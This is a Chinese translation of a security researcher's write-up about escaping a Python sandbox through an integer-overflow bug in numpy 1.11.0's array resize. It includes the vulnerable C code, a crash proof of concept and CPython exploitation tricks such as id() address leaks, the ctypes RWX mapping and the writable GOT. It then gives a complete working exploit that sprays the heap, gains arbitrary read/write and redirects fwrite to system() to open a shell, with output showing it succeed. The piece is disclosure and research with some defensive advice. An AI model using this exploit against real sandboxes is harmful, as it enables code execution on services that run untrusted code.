利用內存破壞實現python沙盒逃逸

幾周之前心癢難耐的我參與了一段時間的漏洞賞金計劃。業餘這個漏洞賞金遊戲最艱巨的任務就是挑選一個能夠獲得最高回報的程序。不久我就找到一個存在於Python沙盒中執行的用戶提交代碼的Web應用程序的bug,這看起來很有趣,所以我決定繼續研究它。

進過一段時間的敲打之後,我發現了在Python層實現沙盒逃逸的方法。報告歸檔了,漏洞幾天內及時被修復,得到了一筆不錯的賞金。完美!這是一個我的漏洞賞金征程的完美開端。但這篇博文不是關於這篇報告的。總之,從技術的角度來說我發現這個漏洞的過程並不有趣。事實證明回歸總可能發生問題。

起初並不確信Python沙盒的安全性會做的如此簡單。沒有太多細節,沙盒使用的是操作系統級別隔離與鎖定Python解釋器的組合。Python環境使用的是自定義的白名單/黑名單的方式來阻止對內置模塊,函數的訪問。基於操作系統的隔離提供了一些額外的保護,但是它相較於今天的標準來說已經過時了。從Python解釋器的逃離並不是一個完全的勝利,但是它能夠使攻擊者危險地接近於黑掉整個系統。

因此我回到了應用程序進行了測試。沒有運氣,這確實是一個困難的挑戰。但突然我有了一個想法——Python模塊通常只是大量C代碼的封裝。這裡肯定會有未被發現的內存破壞漏洞。領用內存破壞我就能夠突破Python環境的限制。

從哪裡開始呢?我知道沙盒內部導入模塊的白名單。或許我該先運行一個分散式的AFL fuzzer?還是一個符號執行引擎?抑或使用先進的靜態分析工具來掃描他們。當然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。

結果表明在狩獵之初我並沒有這個先見之明,但問題不大。直覺引導我通過手動代碼審計和測試發現一個沙盒白名單模塊中的一個可利用的內存破壞漏洞。這個漏洞存在於Numpy中,一個基本的科學計算庫——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來查看一下代碼的行數。

在這篇文章的其餘部分,首先我將描述導致這個漏洞的觸發條件。接下來,我將討論一些漏洞利用開發人員應該了解的CPython運行時的奇事,然後我將逐步進入實際的利用。最後,我總結了一些Python應用程序中量化內存損壞問題的想法。

漏洞

我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數溢出錯誤。自v1.12.0以來,該問題已經解決,但沒有發布安全公告。

該漏洞駐留在用於調整Numpy的多維數組類對象(ndarray和friends)的API中。定義數組形狀的元組調用了resize,其中元組的每個元素都是維度的大小。

$ python

>>> import numpy as np

>>> arr = np.ndarray((2, 2), 『int32』)

>>> arr.resize((2, 3))

>>> arr

array([[-895628408, 32603, -895628408],

[ 32603, 0, 0]], dtype=int32)

是的這個元組會泄漏未初始化的內存,但在這篇博文中我們不會討論這個問題

如上所言,resize實質上會realloc

一個buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價於

realloc(buffer,2*3*sizeof(int32)). 下一個代碼片段是C中resize的重寫實現。

NPY_NO_EXPORT PyObject *

PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck,

NPY_ORDER order)

{

// npy_intp is `long long`

npy_intp* new_dimensions = newshape->ptr;

npy_intp newsize = 1;

int new_nd = newshape->len;

int k;

// NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff)

npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize;

for(k = 0; k < new_nd; k++) {

newsize *= new_dimensions[k];

if (newsize <= 0 || newsize > largest) {

return PyErr_NoMemory();

}

}

if (newsize == 0) {

sd = PyArray_DESCR(self)->elsize;

}

else {

sd = newsize*PyArray_DESCR(self)->elsize;

}

/* Reallocate space if needed */

new_data = realloc(PyArray_DATA(self), sd);

if (new_data == NULL) {

PyErr_SetString(PyExc_MemoryError,

「cannot allocate memory for array」);

return NULL;

}

((PyArrayObject_fields *)self)->data = new_data;

發現漏洞了嗎? 可以在for循環(第13行)中看到,每個維度相乘以產生新的大小。稍後(第25行),將新大小和元素大小的乘積作為數組大小傳遞給realloc。在realloc之前有一些關於大小的驗證,但是它不檢查整數溢出,這意味著非常大的維度可能導致分配大小不足的數組。

最終,這給攻擊者一個可利用的exploit類型:通過從具有溢出數組的大小索引來獲得讀寫任意內存的能力。

讓我們來快速開發一個poc來驗證bug的存在

$ cat poc.py

import numpy as np

arr = np.array(A*0x100)

arr.resize(0x1000, 0x100000000000001)

print "bytes allocated for entire array: " + hex(arr.nbytes)

print "max # of elemenets for inner array: " + hex(arr[0].size)

print "size of each element in inner array: " + hex(arr[0].itemsize)

arr[0][10000000000]

$ python poc.py

bytes allocated for entire array: 0x100000

max # of elemenets for inner array: 0x100000000000001

size of each element in inner array: 0x100

[1] 2517 segmentation fault (core dumped) python poc.py

$ gdb `which python` core

...

Program terminated with signal SIGSEGV, Segmentation fault.

(gdb) bt

#0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870,

base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651

#1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>)

at numpy/core/src/multiarray/mapping.c:1619

#2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539…

(gdb) x/i $pc

=> 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx)

(gdb) x/g $rcx

0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f

Cpython 運行時的一些奇怪之處

在開發exp之前,我想討論一些CPython運行時的特徵來簡化exp的開發,同時討論一些阻擾exp開發的方法。 如果您想直接進入漏洞利用,請直接跳過本節。

內存泄露

通常,首要障礙之一就是要挫敗地址空間布局隨機化(ASLR)。 幸運的是,對於攻擊者來說,Python使這變得很容易。 內置id函數返回對象的內存地址,或者更準確地說,封裝對象的PyObject結構的地址。

$ gdb -q — arg /usr/bin/python2.7

(gdb) run -i

>>> a = 『A』*0x100

>>> b = 『B』*0x100000

>>> import numpy as np

>>> c = np.ndarray((10, 10))

>>> hex(id(a))

『0x7ffff7f65848』

>>> hex(id(b))

『0xa52cd0』

>>> hex(id(c))

『0x7ffff7e777b0』

在現實世界的應用程序中,開發人員應確保不向用戶暴露id(object)。 在沙盒的環境中,你不可能對此行為做太多的擦奧做,除了可能將id添加進黑名單或重新實現id來返回哈希。

理解內存分配行為

了解分配器對於編寫exp至關重要。Python對不同的對象類型和大小實行不同的分配策略。我們來看看我們的大字元串0xa52cd0,小字元串0x7ffff7f65848和numpy數組0x7ffff7e777b0的位置。

$ cat /proc/`pgrep python`/maps

00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7

008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7

008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7

00962000–00fa8000 rw-p 00000000 00:00 0 [heap] # big string

...

7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array

...

7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string

Python 對象結構

溢出和破壞Python對象的元數據是一個很強大的能力,因此理解Python對象如何是表示的很有用。Python對象都派生自PyObject,這是一個包含引用計數和對象實際類型描述符的結構。

值得注意的是,類型描述符包含許多欄位,包括可能對讀取或覆蓋有用的函數指針。

先檢查一下我們在前面創建的小字元串。

(gdb) print *(PyObject *)0x7ffff7f65848$2 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>}(gdb) print *(PyStringObject *)0x7ffff7f65848$3 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>, ob_size = 256, ob_shash = -1, ob_sstate = 0, ob_sval = 「A」}(gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval0x7ffff7f6586c: 『A』 <repeats 200 times>...(gdb) ptype PyString_Type type = struct _typeobject { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; Py_ssize_t ob_size; const char *tp_name; Py_ssize_t tp_basicsize; Py_ssize_t tp_itemsize; destructor tp_dealloc; printfunc tp_print; getattrfunc tp_getattr; setattrfunc tp_setattr; cmpfunc tp_compare; reprfunc tp_repr; PyNumberMethods *tp_as_number; PySequenceMethods *tp_as_sequence; PyMappingMethods *tp_as_mapping; hashfunc tp_hash; ternaryfunc tp_call; reprfunc tp_str; getattrofunc tp_getattro; setattrofunc tp_setattro; PyBufferProcs *tp_as_buffer; long tp_flags; const char *tp_doc; traverseproc tp_traverse; inquiry tp_clear; richcmpfunc tp_richcompare; Py_ssize_t tp_weaklistoffset; getiterfunc tp_iter; iternextfunc tp_iternext; struct PyMethodDef *tp_methods; struct PyMemberDef *tp_members; struct PyGetSetDef *tp_getset; struct _typeobject *tp_base; PyObject *tp_dict; descrgetfunc tp_descr_get; descrsetfunc tp_descr_set; Py_ssize_t tp_dictoffset; initproc tp_init; allocfunc tp_alloc; newfunc tp_new; freefunc tp_free; inquiry tp_is_gc; PyObject *tp_bases; PyObject *tp_mro; PyObject *tp_cache; PyObject *tp_subclasses; PyObject *tp_weaklist; destructor tp_del; unsigned int tp_version_tag;}

有許多有用的欄位可用於讀取或寫入類型指針,函數指針,數據指針,大小等。

Shellcode like its 1999

ctypes庫作為Python和C代碼之間的橋樑。它提供與C兼容的數據類型,並允許在DLL或共享庫中調用函數。許多具有C綁定或需要調用共享庫的模塊需要導入ctypes。

我注意到,導入ctypes會導致以讀/寫/執行許可權設置的4K大小的內存區域。 如果還不明顯,這意味著攻擊者甚至不需要編寫一個ROP鏈。假定你已經找到了RWX區域。利用一個bug就像把指針指向你的shellcode一樣簡單。

自己測試一下!

$ cat foo.pyimport ctypeswhile True:pass$ python foo.py^Z[2] + 30567 suspended python foo.py$ grep rwx /proc/30567/maps7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0

進一步調查發現libffi的封閉API負責mmap RWX區域。 但是,該區域不能在某些平台上分配RWX,例如啟用了selinux或PAX mprotect的系統,但有一些代碼可以解決這個限制。

我沒有花太多時間嘗試可靠地RWX

mapping,但是從理論上講,如果你有一個任意讀取的exploit原函數,應該是可能的。

當ASLR應用於庫時,動態鏈接器以可預測的順序映射庫的內存。庫的內存包括庫私有的全局變數和代碼本身。

Libffi將對RWX內存的引用存儲為全局。例如,如果在堆上找到指向libffi函數的指針,則可以將RWX區域指針的地址預先計算為與libffi函數指針的地址的偏移量。每個庫版本都需要調整偏移量。

The Exploit

我在Ubuntu 14.04.5和16.04.1上測試了Python2.7二進位文件的安全相關編譯器標誌。 發現幾個弱點,這對攻擊者來說是非常有用的:

部分RELRO:可執行文件的GOT seciotn,包含動態鏈接到二進位文件的庫函數的指針,是可寫的。 例如,exploits可以用system()替換printf()的地址。

沒有PIE:二進位不是位置無關的可執行文件,這意味著當內核將ASLR應用於大多數內存映射時,二進位本身的內容被映射到靜態地址。 由於GOT seciotn是二進位文件的一部分,因此PIE使攻擊者更容易找到並寫入GOT。

雖然CPython是一個充滿了漏洞開發工具的環境,但是有一些力量破壞了我的許多漏洞利用嘗試,並且難以調試。

垃圾收集器,類型系統以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對象元數據。

id()可能不可靠。由於一些原因我無法確定,Python有時會在使用原始對象時傳遞對象的副本。

分配對象的區域有些不可預測。由於一些原因我無法確定,特定的編碼模式導致緩衝區被分配到brk堆中,而其他模式會在一個python指定的mmapd堆中分配。

在發現numpy整數溢出後不久,我向提交了一個劫持指令指針的概念證明的報告,雖然沒有注入任何代碼。

當我最初提交時,我沒有意識到PoC實際上是不可靠的,並且我無法對其伺服器進行正確的測試,因為驗證劫持指令指針需要訪問core dump或debugger。

供應商承認這個問題的合法性,但是比起我的第一份報告,他們的給的回報比較少。

還算不賴

我不是一個漏洞利用開發者,但挑戰自己是我做得更好。 經過多次試錯,我最終寫了一個似乎是可靠exp。 不幸的是,我無法在供應商的沙盒中測試它,因為在完成之前更新了numpy,但是在Python解釋器中本地測試時它的工作正常。

在高層次來說上,漏洞利用溢出numpy數組的大小來獲得任意的讀/寫能力。

原函數用於將系統的地址寫入fwrite的GOT / PLT條目。

最後,Python內置的print調用fwrite覆蓋,所以現在你可以調用print

『/bin/sh』來獲取一個shell,或者用任何命令替換/ bin / sh。

我建議從自下而上開始閱讀,包括評論。 如果您使用的是不同版本的Python,請在運行該文件之前調整fwrite和system的GOT位置。

import numpy as np# addr_to_str is a quick and dirty replacement for struct.pack(), needed# for sandbox environments that block the struct module.def addr_to_str(addr): addr_str = "%016x" % (addr) ret = str() for i in range(16, 0, -2): ret = ret + addr_str[i-2:i].decode(hex) return ret# read_address and write_address use overflown numpy arrays to search for# bytearray objects weve sprayed on the heap, represented as a PyByteArray# structure:# # struct PyByteArray {# Py_ssize_t ob_refcnt;# struct _typeobject *ob_type;# Py_ssize_t ob_size;# int ob_exports;# Py_ssize_t ob_alloc;# char *ob_bytes;# };# # Once located, the pointer to actual data `ob_bytes` is overwritten with the# address that we want to read or write. We then cycle through the list of byte# arrays until we find the one that has been corrupted. This bytearray is used# to read or write the desired location. Finally, we clean up by setting# `ob_bytes` back to its original value.def find_address(addr, data=None): i = 0 j = -1 k = 0 if data: size = 0x102 else: size = 0x103 for k, arr in enumerate(arrays): i = 0 for i in range(0x2000): # 0x2000 is a value that happens to work # Here we search for the signature of a PyByteArray structure j = arr[0][i].find(addr_to_str(0x1)) # ob_refcnt if (j < 0 or arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or # ob_size arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc continue idx_bytes = j+0x28 # ob_bytes # Save an unclobbered copy of the bytearray metadata saved_metadata = arrays[k][0][i] # Overwrite the ob_bytes pointer with the provded address addr_string = addr_to_str(addr) new_metadata = (saved_metadata[0:idx_bytes] + addr_string + saved_metadata[idx_bytes+8:]) arrays[k][0][i] = new_metadata ret = None for bytearray_ in bytearrays: try: # We differentiate the signature by size for each # find_address invocation because we dont want to # accidentally clobber the wrong bytearray structure. # We know weve hit the structure were looking for if # the size matches and it contents do not equal XXXXXXXX if len(bytearray_) == size and bytearray_[0:8] != XXXXXXXX: if data: bytearray_[0:8] = data # write memory else: ret = bytearray_[0:8] # read memory # restore the original PyByteArray->ob_bytes arrays[k][0][i] = saved_metadata return ret except: pass raise Exception("Failed to find address %x" % addr)def read_address(addr): return find_address(addr)def write_address(addr, data): find_address(addr, data)# The address of GOT/PLT entries for system() and fwrite() are hardcoded. These# addresses are static for a given Python binary when compiled without -fPIE.# You can obtain them yourself with the following command:# `readelf -a /path/to/python/ | grep -E (system|fwrite)SYSTEM = 0x8eb278FWRITE = 0x8eb810# Spray the heap with some bytearrays and overflown numpy arrays.arrays = []bytearrays = []for i in range(100): arrays.append(np.array(A*0x100)) arrays[-1].resize(0x1000, 0x100000000000001) bytearrays.append(bytearray(X*0x102)) bytearrays.append(bytearray(X*0x103))# Read the address of system() and write it to fwrite()s PLT entry. data = read_address(SYSTEM)write_address(FWRITE, data)# print() will now call system() with whatever string you passprint "PS1=[HACKED] $ /bin/sh"

運行此exp會返回給你一個shell

$ virtualenv .venvRunning virtualenv with interpreter /usr/bin/python2New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/pythonInstalling setuptools, pkg_resources, pip, wheel...done.$ source .venv/bin/activate(.venv) $ pip install numpy==1.11.0Collecting numpy==1.11.0 Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whlInstalling collected packages: numpySuccessfully installed numpy-1.11.0(.venv) $ python --versionPython 2.7.12(.venv) $ python numpy_exploit.py [HACKED] $

如果您不運行Python 2.7.12,請參閱漏洞利用中的注釋,了解如何使其適用於您的Python版本。

量化風險

眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認識到,內存破壞在流行的Python模塊中一直沒有像CVE,安全公告,甚至在發行說明中提到安全修補程序一樣被報告。

是的,Python模塊中有很多內存損壞的bug。 當然不是所有的都是可以利用的,但你必須從某個地方開始。為了解釋內存破壞造成的風險,我發現使用兩個獨立的用例來描述對話很有用:常規Python應用程序和沙盒不受信任的代碼。

正則表達式

我們關心的應用程序類型是具有有意義的攻擊面的那些。考慮Web應用程序和其他面向網路的服務,處理不受信任的內容,系統特權服務等的客戶端應用程序。許多這些應用程序導入由成堆C代碼便宜而來的Python模塊,且將其內存破壞視為安全問題。這個純粹的想法可能會使一些安全專業人員夙夜難寐,但實際上風險通常被忽視或忽視。我懷疑有幾個原因:

遠程識別和利用內存破壞問題的難度相當高,特別是對於閉源和遠程應用程序。

應用程序暴露不可信輸入路徑以達到易受攻擊的功能的可能性可能相當低。

意識不足,因為Python模塊中的內存損壞錯誤通常不會被視為安全問題。

公平地說,由於某些隨機Python模塊中的緩衝區溢出而導致入侵的可能性可能相當低。但是,再次聲明,內存破壞的缺陷在發生時可能是非常有害的。有時它甚至不會讓任何人明確地利用他們來造成破壞。更糟糕的是,當庫維護者在安全性方面不考慮內存破壞問題時,給庫打上安全補丁是不可能的。

如果您開發了一個主要的Python應用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴的C代碼數量,並分析本地代碼暴露於應用程序邊緣的潛力。

沙盒

一些服務允許用戶在沙箱內運行不受信任的Python代碼。

操作系統級的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來。不行的是,今日仍然可以發現用戶使用較弱的沙盒技術

- 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請參閱pypy-sandbox和pysandbox)。

內存破壞完全打破了OS不執行沙盒這一原則。 執行Python代碼子集的能力使得開發遠exp比常規應用程序更加方便。即使是由於其虛擬化系統調用的雙進程模型而聲稱安全的Pypy-sandbox也可能被緩衝區溢出所破壞。

如果您想運行任何不受信任的代碼,請投入精力建立一個安全的操作系統和網路架構來沙盒執行它。

本文由看雪翻譯小組 linger 編譯,來源hackernoon@Gabecipe 轉載請註明來自看雪社區


推薦閱讀:

為何大量設計模式在動態語言中不適用?
python初學者不要過度沉迷於技巧
for循環在Python中是怎麼工作的
使用Flask實現用戶登陸認證的詳細過程
Python英文搜索引擎

TAG:Python | 沙盒计算机安全 | 内存RAM |